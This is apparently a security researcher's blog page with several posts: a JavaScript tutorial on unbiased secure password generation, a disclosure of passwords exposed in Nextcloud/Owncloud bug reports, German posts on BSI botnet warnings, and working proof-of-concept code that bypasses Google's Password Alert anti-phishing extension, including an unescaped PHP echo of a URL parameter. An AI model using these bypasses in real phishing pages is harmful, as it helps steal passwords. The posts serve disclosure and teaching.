Hanno's blog

I recently needed to create a random password in a piece of JavaScript code. It was surprisingly difficult to find instructions and good examples of how to do that. Almost every result that Google, StackOverflow, or, for that matter, ChatGPT, turned up was flawed in one way or another.

Let's look at a few examples and learn how to create an actually secure password generation function. Our goal is to create a password from a defined set of characters with a fixed length. The password should be generated from a secure source of randomness, and it should have a uniform distribution, meaning every character should appear with the same likelihood. While the examples are JavaScript code, the principles can be used in any programming language.

One of the first examples to show up in Google is a blog post on the webpage dev.to. Here is the relevant part of the code:

/* Example with weak random number generator, DO NOT USE */
 var chars = "0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ";
 var passwordLength = 12;
 var password = "";
 for (var i = 0; i <= passwordLength; i++) {
   var randomNumber = Math.floor(Math.random() * chars.length);
   password += chars.substring(randomNumber, randomNumber +1);
  }

In this example, the source of randomness is the function Math.random(). It generates a random number between 0 and 1. The documentation of Math.random() in MDN says:

Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely, the window.crypto.getRandomValues() method.

This is pretty clear: We should not use Math.random() for security purposes, as it gives us no guarantees about the security of its output. This is not a merely theoretical concern: here is an example where someone used Math.random() to generate tokens and ended up seeing duplicate tokens in real-world use.

MDN tells us to use the getRandomValues() function of the Web Crypto API, which generates cryptographically strong random numbers.

We can make a more general statement here: Whenever we need randomness for security purposes, we should use a cryptographically secure random number generator. Even in non-security contexts, using secure random sources usually has no downsides. Theoretically, cryptographically strong random number generators can be slower, but unless you generate Gigabytes of random numbers, this is irrelevant. (I am not going to expand on how exactly cryptographically strong random number generators work, as this is something that should be done by the operating system. You can find a good introduction here.)

All modern operating systems have built-in functionality for this. Unfortunately, for historical reasons, in many programming languages, there are simple and more widely used random number generation functions that many people use, and APIs for secure random numbers often come with extra obstacles and may not always be available. However, in the case of Javascript, crypto.getRandomValues() has been available in all major browsers for over a decade.

After establishing that we should not use Math.random(), we may check whether searching specifically for that gives us a better answer. When we search for "Javascript random password without Math.Random()", the first result that shows up is titled "Never use Math.random() to create passwords in JavaScript". That sounds like a good start. Unfortunately, it makes another mistake. Here is the code it recommends:

/* Example with floating point rounding bias, DO NOT USE */
function generatePassword(length = 16)
{
    let generatedPassword = "";

    const validChars = "0123456789" +
        "abcdefghijklmnopqrstuvwxyz" +
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
        ",.-{}+!\"#$%/()=?";

    for (let i = 0; i < length; i++) {
        let randomNumber = crypto.getRandomValues(new Uint32Array(1))[0];
        randomNumber = randomNumber / 0x100000000;
        randomNumber = Math.floor(randomNumber * validChars.length);

        generatedPassword += validChars[randomNumber];
    }

    return generatedPassword;
}

This generates a random 32-bit unsigned integer with crypto.getRandomValues(), which is good. It divides that by the hexadecimal value 0x100000000, which is the upper bound of the possible values in a 32-bit unsigned integer. In other words, it is converting to a float between 0 and 1, likely trying to emulate what Math.random() provides.

The problem with this approach is that it uses floating-point numbers. It is generally a good idea to avoid floats in security and particularly cryptographic applications whenever possible. Floats introduce rounding errors, and due to the way they are stored, it is practically almost impossible to generate a uniform distribution. (See also this explanation in a StackExchange comment.)

Therefore, while this implementation is better than the first and probably "good enough" for random passwords, it is not ideal. It does not give us the best security we can have with a certain length and character choice of a password.

Another way of mapping a random integer number to an index for our list of characters is to use a random value modulo the size of our character class. Here is an example from a StackOverflow comment:

/* Example with modulo bias, DO NOT USE */
var generatePassword = (
  length = 20,
  characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@-#$'
) =>
  Array.from(crypto.getRandomValues(new Uint32Array(length)))
    .map((x) => characters[x % characters.length])
    .join('')

This is also not ideal. It introduces a modulo bias.

The modulo bias in this example is quite small, so let's look at a different example. Assume we use letters and numbers (a-z, A-Z, 0-9, 62 characters total) and take a single byte (256 different values, 0-255) r from the random number generator. If we use the modulus r % 62, some characters are more likely to appear than others. The reason is that 256 is not a multiple of 62, so it is impossible to map our byte to this list of characters with a uniform distribution.

In our example, the lowercase "a" would be mapped to five values (0, 62, 124, 186, 248). The uppercase "A" would be mapped to only four values (26, 88, 150, 212). Some values have a higher probability than others.

(For more detailed explanations of a modulo bias, check this post by Yolan Romailler from Kudelski Security and this post from Sebastian Pipping.)

One way to avoid a modulo bias is to use rejection sampling. The idea is that you throw away the values that cause higher probabilities. In our example above, 248 and higher values cause the modulo bias, so if we generate such a value, we repeat the process. A piece of code to generate a single random character could look like this:

const pwchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const limit = 256 - (256 % pwchars.length);
do {
  randval = window.crypto.getRandomValues(new Uint8Array(1))[0];
} while (randval >= limit);

Values equal or above limit get thrown away. The limit is set to the number of possible values in a byte modulo the number of different characters we want to use. We generate a random byte, and if it is above the limit, we will just repeat that process until we get a suitable value.

An alternative to rejection sampling is to make the modulo bias so small that it does not matter (by using a very large random value).

However, I find rejection sampling to be a much cleaner solution. If you argue that the modulo bias is so small that it does not matter, you must carefully analyze whether this is true. For a password, a small modulo bias may be okay. For cryptographic applications, things can be different. Rejection sampling avoids the modulo bias completely. Therefore, it is always a safe choice.

There are two things you might wonder about this approach. One is that it introduces a timing difference. In cases where the random number generator turns up multiple numbers in a row that are thrown away, the code runs a bit longer.

Timing differences can be a problem in security code, but this one is not. It does not reveal any information about the password because it is only influenced by values we throw away. Even if an attacker were able to measure the exact timing of our password generation, it would not give him any useful information. (This argument is however only true for a cryptographically secure random number generator. It assumes that the ignored random values do not reveal any information about the random number generator's internal state.)

Another issue with this approach is that it is not guaranteed to finish in any given time. Theoretically, the random number generator could produce numbers above our limit so often that the function stalls. However, the probability of that happening quickly becomes so low that it is irrelevant. Such code is generally so fast that even multiple rounds of rejection would not cause a noticeable delay.

To summarize: If we want to write a secure, random password generation function, we should consider three things: We should use a secure random number generation function. We should avoid floating point numbers. And we should avoid a modulo bias.

Taking this all together, here is a Javascript function that generates a 15-character password, composed of ASCII letters and numbers:

function simplesecpw() {
  const pwlen = 15;
  const pwchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  const limit = 256 - (256 % pwchars.length);

  let passwd = "";
  let randval;
  for (let i = 0; i < pwlen; i++) {
    do {
      randval = window.crypto.getRandomValues(new Uint8Array(1))[0];
    } while (randval >= limit);
    passwd += pwchars[randval % pwchars.length];
  }
  return passwd;
}

We first define our length and string of possible characters. We calculate the limit for the modulo bias. We run a for loop 15 times. Inside that loop, we have a while loop generating a random byte and implementing rejection sampling. Finally, we use the generated random value modulo the number of possible characters as our index. Overall, this is just 15 lines of code, and it is not particularly complicated.

If you want to use that code, feel free to do so. I have published it - and a slightly more configurable version that allows optionally setting the length and the set of characters - under a very permissive license (0BSD license).

An online demo generating a password with this code can be found at https://password.hboeck.de/. All code is available on GitHub.

Image Source: SVG Repo, CC0

A while ago I wanted to report a bug in one of Nextcloud's apps. They use the Github issue tracker, after creating a new issue I was welcomed with a long list of things they wanted to know about my installation. I filled the info to the best of my knowledge, until I was asked for this:

The content of config/config.php:

Which made me stop and wonder: The config file probably contains sensitive information like passwords. I quickly checked, and yes it does. It depends on the configuration of your Nextcloud installation, but in many cases the configuration contains variables for the database password (dbpassword), the smtp mail server password (mail_smtppassword) or both. Combined with other information from the config file (e. g. it also contains the smtp hostname) this could be very valuable information for an attacker.

A few lines later the bug reporting template has a warning (“Without the database password, passwordsalt and secret”), though this is incomplete, as it doesn't mention the smtp password. It also provides an alternative way of getting the content of the config file via the command line.

However... you know, this is the Internet. People don't read the fineprint. If you ask them to paste the content of their config file they might just do it.

User's passwords publicly accessible

The issues on github are all public and the URLs are of a very simple form and numbered (e. g. https://github.com/nextcloud/calendar/issues/[number]), so downloading all issues from a project is trivial. Thus with a quick check I could confirm that some users indeed posted real looking passwords to the bug tracker.

Nextcoud is a fork of Owncloud, so I checked that as well. The bug reporting template contained exactly the same words, probably Nextcloud just copied it over when they forked. So I reported the issue to both Owncloud and Nextcloud via their HackerOne bug bounty programs. That was in January.

I proposed that both projects should go through their past bug reports and remove everything that looks like a password or another sensitive value. I also said that I think asking for the content of the configuration file is inherently dangerous and should be avoided. To allow users to share configuration options in a safe way I proposed to offer an option similar to the command line tool (which may not be available or usable for all users) in the web interface.

The reaction wasn't overwhelming. Apart from confirming that both projects acknowledged the problem nothing happened for quite a while. During FOSDEM I reached out to members of both projects and discussed the issue in person. Shortly after that I announced that I intended to disclose this issue three months after the initial report.

Disclosure deadline was nearing with passwords still public

The deadline was nearing and I didn't receive any report on any actions being taken by Owncloud or Nextcloud. I sent out this tweet which received quite some attention (and I'm sorry that some people got worried about a vulnerability in Owncloud/Nextcloud itself, I got a couple of questions):



In all fairness to NextCloud, they had actually started scrubbing data from the existing bug reports, they just hadn't informed me. After the tweet Nextcloud gave me an update and Owncloud asked for a one week extension of the disclosure deadline which I agreed to.

The outcome by now isn't ideal. Both projects have scrubbed all obvious passwords from existing bug reports, although I still find values where it's not entirely clear whether they are replacement values or just very bad passwords (e. g. things like “123456”, but you might argue that people using such passwords have other problems).

Nextcloud has changed the wording of the bug reporting template. The new template still asks for the config file, but it mentions the safer command line option first and has the warning closer to the mentioning of the config. This is still far from ideal and I wouldn't be surprised if people continue pasting their passwords. However Nextcloud developers have indicated in the HackerOne discussion that they might pick up my idea of offering a GUI version to export a scrubbed config file. Owncloud has changed nothing yet.

If you have reported bugs to Owncloud or Nextcloud in the past and are unsure whether you may have pasted your password it's probably best to change it. Even if it's been removed now it may still be available within search engine caches or it might have already been recorded by an attacker.

A few days ago Google released a Chrome extension that emits a warning if a user types in his Google account password on a foreign webpage. This is meant as a protection against phishing pages. Code is on Github and the extension can be installed through Google's Chrome Web Store.

When I heard this the first time I already thought that there are probably multiple ways to bypass that protection with some Javascript trickery. Seems I was right. Shortly after the extension was released security researcher Paul Moore published a way to bypass the protection by preventing the popup from being opened. This was fixed in version 1.4.

At that point I started looking into it myself. Password Alert tries to record every keystroke from the user and checks if that matches the password (it doesn't store the password, only a hash). My first thought was to simulate keystrokes via Javascript. I have to say that my Javascript knowledge is close to nonexistent, but I can use Google and read Stackoverflow threads, so I came up with this:

<script>
function simkey(e) {
if (e.which==0) return;
var ev=document.createEvent("KeyboardEvent");
ev.initKeyboardEvent("keypress", true, true, window, 0, 0, 0, 0, 0, 0);
document.getElementById("pw").dispatchEvent(ev);
}
</script>
<form action="" method="POST">
<input type="password" id="pw" name="pw" onkeypress="simkey(event);">
<input type="submit">
</form>

For every key a user presses this generates a Javascript KeyboardEvent. This is enough to confuse the extension. I reported this to the Google Security Team and Andrew Hintz. Literally minutes before I sent the mail a change was committed that did some sanity checks on the events and thus prevented my bypass from working (it checks the charcode and it seems there is no way in webkit to generate a KeyboardEvent with a valid charcode).

While I did that Paul Moore also created another bypass which relies on page reloads. A new version 1.6 was released fixing both my and Moores bypass.

I gave it another try and after a couple of failures I came up with a method that still works. The extension will only store keystrokes entered on one page. So what I did is that on every keystroke I create a popup (with the already typed password still in the form field) and close the current window. The closing doesn't always work, I'm not sure why that's the case, this can probably be improved somehow. There's also some flickering in the tab bar. The password is passed via URL, this could also happen otherwise (converting that from GET to POST variable is left as an exercise to the reader). I'm also using PHP here to insert the variable into the form, this could be done in pure Javascript. Here's the code, still working with the latest version:

<script>
function rlt() {
window.open("https://test.hboeck.de/pw2/?val="+document.getElementById("pw").value);
self.close();
}
</script>
<form action="." method="POST">
<input type="text" name="pw" id="pw" onkeyup="rlt();" onfocus="this.value=this.value;" value="<?php
if (isset($_GET['val'])) echo $_GET['val'];
?>">
<input type="submit">
<script>
document.getElementById("pw").focus();
</script>

Honestly I have a lot of doubts if this whole approach is a good idea. There are just too many ways how this can be bypassed. I know that passwords and phishing are a big problem, I just doubt this is the right approach to tackle it.

One more thing: When I first tested this extension I was confused, because it didn't seem to work. What I didn't know is that this purely relies on keystrokes. That means when you copy-and-paste your password (e. g. from some textfile in a crypto container) then the extension will provide you no protection. At least to me this was very unexpected behaviour.

Ich hatte ja vor einer Weile zu der Botnetz-Geschichte und dem BSI etwas geschrieben. Das BSI hatte im Januar die Möglichkeit angeboten, zu prüfen, ob die eigene Mailadresse sich in einem Datenbestand befindet, der offenbar bei der Analyse eines Botnetzes gefunden wurde. Ich hatte eine betroffene Mailadresse und fand die Information, dass irgendwo irgendein Account von mir offenbar gehackt wurde, reichlich unnütz und habe deshalb das BSI nach Bundesdatenschutzgesetz um weitere Auskünfte gebeten. Ich habe bisher noch nicht berichtet, wie das eigentlich weiterging.

Das BSI hatte mir daraufhin mitgeteilt, dass es selbst die Daten gar nicht besitzt. Vielmehr hätte man nur die Hashes der betroffenen Mailadressen gespeichert. Die vollständigen Daten lägen nur bei den zuständigen Strafverfolgungsbehörden vor. Welche das sind teilte man mir nicht mit, aber aufgrund von Medienberichten wusste ich, dass es sich um die Staatsanwaltschaft Verden handeln musste.

Also stellte ich eine erneute Anfrage an die Staatsanwaltschaft Verden. Diese teilte mir dann mit, was bereits in diesem Artikel bei Golem.de stand: Das Datenschutzgesetz greife nach Ansicht der Staatsanwaltschaft in diesem Fall nicht, es sei stattdessen die Strafprozessordnung relevant. Meine Anfrage könne man nicht beantworten, weil sie zum einen den Ermittlungserfolg gefährde und zum anderen der Aufwand nicht verhältnismäßig sei.

Ich fragte daraufhin nochmal beim niedersächsischen Datenschutzbeauftragten und bei der Bundesdatenschutzbeauftragten nach. Von ersterem erhielt ich eine kurze Antwort, die die juristische Ansicht der Staatsanwaltschaft leider bestätigte. Vom Büro der Bundesdatenschutzbeauftragten erhielt ich überhaupt keine Antwort. Weiter käme ich wohl nur mit Rechtsanwalt. Insofern war die Angelegenheit damit - unbefriedigend - beendet.

Am Ende bleibt für mich die unerfreuliche Erkenntnis, dass der Auskunftsanspruch im Bundesdatenschutzgesetz offenbar deutlich weniger wirksam ist als ich das erwartet hätte. Und eine sinnvolle Information, welche Accountdaten von mir gehackt wurden, habe ich weiterhin nicht.

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) macht ja seit vorgestern mächtig Wirbel um einige Zugangsdaten, die sie angeblich aus einem Botnetz haben. Leider informiert das BSI bislang nur sehr spärlich über Details. Ich habe, nachdem die zugehörige Webseite nach einigen Stunden wieder einigermaßen erreichbar war, verschiedene von mir in der Vergangenheit genutzte Mailadressen prüfen lassen. Bei einer Mailadresse eines großen deutschen Freemail-Anbieters, die ich vor langer Zeit als primäre Mailadresse genutzt hatte, schlug der Test an und ich bekam eine der Warnmails (ich dokumentiere die Mail weiter unten). Das ist jetzt aus zwei Gründen interessant:

1. Ich habe diese Mailadresse seit ungefähr zehn Jahren nicht genutzt. Ich habe alle Accounts, die ich aktiv nutze, auf meine aktuelle Mailadresse auf eigener Domain umgestellt. Das bedeutet: Die Daten, die das BSI da hat, sind also - zumindest teilweise - uralt.

Eine Sache, die hier vielleicht spannend ist: Im November letztes Jahr gab es einen größeren Leak von Accountdaten bei Adobe. Da war ein Account mit dieser Mailadresse dabei (fragt mich nicht warum ich irgendwann einen Adobe-Account hatte, wie gesagt, ist mindestens zehn Jahre her). Es ist natürlich reine Spekulation, aber es scheint mir zumindest vorstellbar, dass es sich bei den BSI-Daten schlicht um die selben Daten handelt. Rein zeitlich würde es ins Bild passen. (Update: Mehrere Leute teilten mir mit dass sie vom Adobe-Leak betroffene Mailadressen haben, die das BSI nicht kennt, also Spekulation höchstwahrscheinlich falsch)

2. Ich erhalte hier eigentlich eine völlig nutzlose Warnung und unpraktikable Tipps. Denn was mir das BSI letztendlich mitteilt: Sie haben Zugangsdaten zu irgendeinem Account irgendwo im Zusammenhang mit einer Mailadresse von mir. Oder, um das BSI zu zitieren: "Dieses Konto verwenden Sie möglicherweise bei einem Sozialen Netzwerk, einem Online-Shop, einem E-Mail-Dienst, beim Online-Banking oder einem anderen Internet-Dienst."

Verbunden ist das ganze mit dem kaum umsetzbaren Vorschlag, ich solle doch am besten alle meine Passwörter ändern.

Was ich ja jetzt gern wüsste: Weiß das BSI, um was für einen Account es geht? Und falls ja: Warum teilen sie es mir nicht mit? Ich werde zumindest versuchen, darauf eine Antwort zu erhalten. Laut Bundesdatenschutzgesetz ist das BSI verpflichtet, mir Auskünfte über Daten, die sie über mich gespeichert haben, zu erteilen.

Hier die vollständige Mail, die man vom BSI erhält:

Sehr geehrte Dame, sehr geehrter Herr,

Sie haben diese E-Mail erhalten, weil die E-Mail-Adresse [...] auf der Webseite www.sicherheitstest.bsi.de eingegeben und überprüft wurde.

Die von Ihnen angegebene E-Mail-Adresse [...] wurde zusammen mit dem Kennwort eines mit dieser E-Mail-Adresse verknüpften Online-Kontos von kriminellen Botnetzbetreibern gespeichert. Dieses Konto verwenden Sie möglicherweise bei einem Sozialen Netzwerk, einem Online-Shop, einem E-Mail-Dienst, beim Online-Banking oder einem anderen Internet-Dienst.

Um diesen Missbrauch zukünftig zu verhindern, empfiehlt das BSI die folgenden Schritte:

1. Überprüfen Sie Ihren eigenen Rechner sowie weitere Rechner, mit denen Sie ins Internet gehen, mittels eines gängigen Virenschutzprogramms auf Befall mit Schadsoftware.

2. Ändern Sie alle Passwörter, die Sie zur Anmeldung bei Online-Diensten nutzen.

3. Lesen Sie die weiteren Informationen hierzu unter www.sicherheitstest.bsi.de.

Diese E-Mail ist vom BSI signiert. Wie Sie die Signatur überprüfen können erfahren Sie auch unter www.sicherheitstest.bsi.de.

Mit freundlichen Grüßen
Ihr BSI-Sicherheitstest-Team